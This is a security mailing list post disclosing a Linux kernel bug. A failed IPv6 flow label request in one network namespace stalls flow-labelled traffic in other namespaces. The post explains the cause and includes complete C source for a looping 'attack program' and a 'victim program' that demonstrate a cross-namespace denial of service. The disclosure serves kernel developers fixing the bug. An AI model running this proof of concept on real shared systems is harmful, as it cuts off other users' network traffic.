oss-sec mailing list archives
Linux kernel: potential net namespace bug in IPv6 flow label management
From: "Liu, Congyu" <liu3101 () purdue edu>
Date: Sun, 13 Feb 2022 10:31:34 +0000
Hi, In the test conducted on namespace, I found that one unsuccessful IPv6 flow label management from one net ns could stop other net ns's data transmission that requests flow label for a short time. Specifically, in our test case, one unsuccessful `setsockopt` to get flow label will affect other net ns's `sendmsg` with flow label set in cmsg. Simple PoC is included for verification. The behavior descirbed above can be reproduced in latest kernel. I managed to figure out the data flow behind this: when asking to get a flow label, some `setsockopt` parameters can trigger function `ipv6_flowlabel_get` to call `fl_create` to allocate an exclusive flow label, then call `fl_release` to release it before returning -ENOENT. Global variable `ipv6_flowlabel_exclusive`, a rate limit jump label that keeps track of number of alive exclusive flow labels, will get increased instantly after calling `fl_create`. Due to its rate limit design, `ipv6_flowlabel_exclusive` can only decrease sometime later after calling `fl_decrease`. During this period, if data transmission function in other net ns (e.g. `udpv6_sendmsg`) calls `fl_lookup`, the false `ipv6_flowlabel_exclusive` will invoke the `__fl_lookup`. In the test case observed, this function returns error and eventually stops the data transmission. I further noticed that this bug could somehow be vulnerable: if `setsockopt` is called continuously, then `sendmmsg` call from other net ns will be blocked forever. Using the PoC provided, if attack and victim programs are running simutaneously, victim program cannot transmit data; when running without attack program, the victim program can transmit data normally. Thanks, Congyu Attack Program: #define _GNU_SOURCE #include <linux/in6.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <error.h> #include <errno.h> #include <sched.h> #include <stdbool.h> int main() { int fd1, ret, pid; unshare(CLONE_NEWNET); if ((fd1 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDPLITE)) < 0) error(1, errno, "socket"); struct in6_flowlabel_req req = { .flr_action = IPV6_FL_A_GET, .flr_label = 0, .flr_flags = 0, .flr_share = IPV6_FL_S_USER, }; req.flr_dst.s6_addr[0] = 0xfd; req.flr_dst.s6_addr[15] = 0x1; while(1) { ret = setsockopt(fd1, SOL_IPV6, IPV6_FLOWLABEL_MGR, &req, sizeof(req)); } return 0; } Victim program: #define _GNU_SOURCE #include <linux/in6.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <error.h> #include <errno.h> #include <sched.h> #include <stdbool.h> static const char cfg_data[] = "a"; static void do_send(int fd, struct sockaddr_in6 addr, bool with_flowlabel, uint32_t flowlabel) { char control[CMSG_SPACE(sizeof(flowlabel))] = {0}; struct msghdr msg = {0}; struct iovec iov = {0}; int ret; iov.iov_base = (char *)cfg_data; iov.iov_len = sizeof(cfg_data); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_name = &addr; msg.msg_namelen = sizeof(addr); if (with_flowlabel) { struct cmsghdr *cm; cm = (void *)control; cm->cmsg_len = CMSG_LEN(sizeof(flowlabel)); cm->cmsg_level = SOL_IPV6; cm->cmsg_type = IPV6_FLOWINFO; *(uint32_t *)CMSG_DATA(cm) = htonl(flowlabel); msg.msg_control = control; msg.msg_controllen = sizeof(control); } ret = sendmsg(fd, &msg, 0); fprintf(stderr, "sendmsg ret = %d\n", ret); } static void do_recv(int fd, bool with_flowlabel, uint32_t expect) { char control[CMSG_SPACE(sizeof(expect))]; char data[sizeof(cfg_data)]; struct msghdr msg = {0}; struct iovec iov = {0}; struct cmsghdr *cm; uint32_t flowlabel; int ret; iov.iov_base = data; iov.iov_len = sizeof(data); msg.msg_iov = &iov; msg.msg_iovlen = 1; memset(control, 0, sizeof(control)); msg.msg_control = control; msg.msg_controllen = sizeof(control); recvmsg(fd, &msg, 0); } int main() { int fd1, ret, pid; unshare(CLONE_NEWNET); pid = fork(); if (pid == 0) { execlp("ip", "ip", "link", "set", "dev", "lo", "up", NULL); } sleep(1); struct sockaddr_in6 src_addr = { .sin6_family = AF_INET6, .sin6_port = htons(7000), .sin6_addr = in6addr_loopback, .sin6_flowinfo = htonl(0), .sin6_scope_id = 0, }; struct sockaddr_in6 dst_addr = { .sin6_family = AF_INET6, .sin6_port = htons(8000), .sin6_addr = in6addr_loopback, .sin6_flowinfo = htonl(0), .sin6_scope_id = 0, }; pid = fork(); int fd2; if (pid == 0) { if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0) error(1, errno, "socket"); if(bind(fd2, (void *)&dst_addr, sizeof(dst_addr)) < 0) error(1, errno, "bind"); while(1) { do_recv(fd2, true, 123456); } return 0; } sleep(1); if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0) error(1, errno, "socket"); while(1) { do_send(fd2, dst_addr, true, 123456); usleep(100000); } return 0; }
Current thread:
- Linux kernel: potential net namespace bug in IPv6 flow label management Liu, Congyu (Feb 13)
- Re: Linux kernel: potential net namespace bug in IPv6 flow label management Willem de Bruijn (Feb 13)
- Re: Linux kernel: potential net namespace bug in IPv6 flow label management Willem de Bruijn (Feb 13)
- Re: Linux kernel: potential net namespace bug in IPv6 flow label management Willem de Bruijn (Feb 13)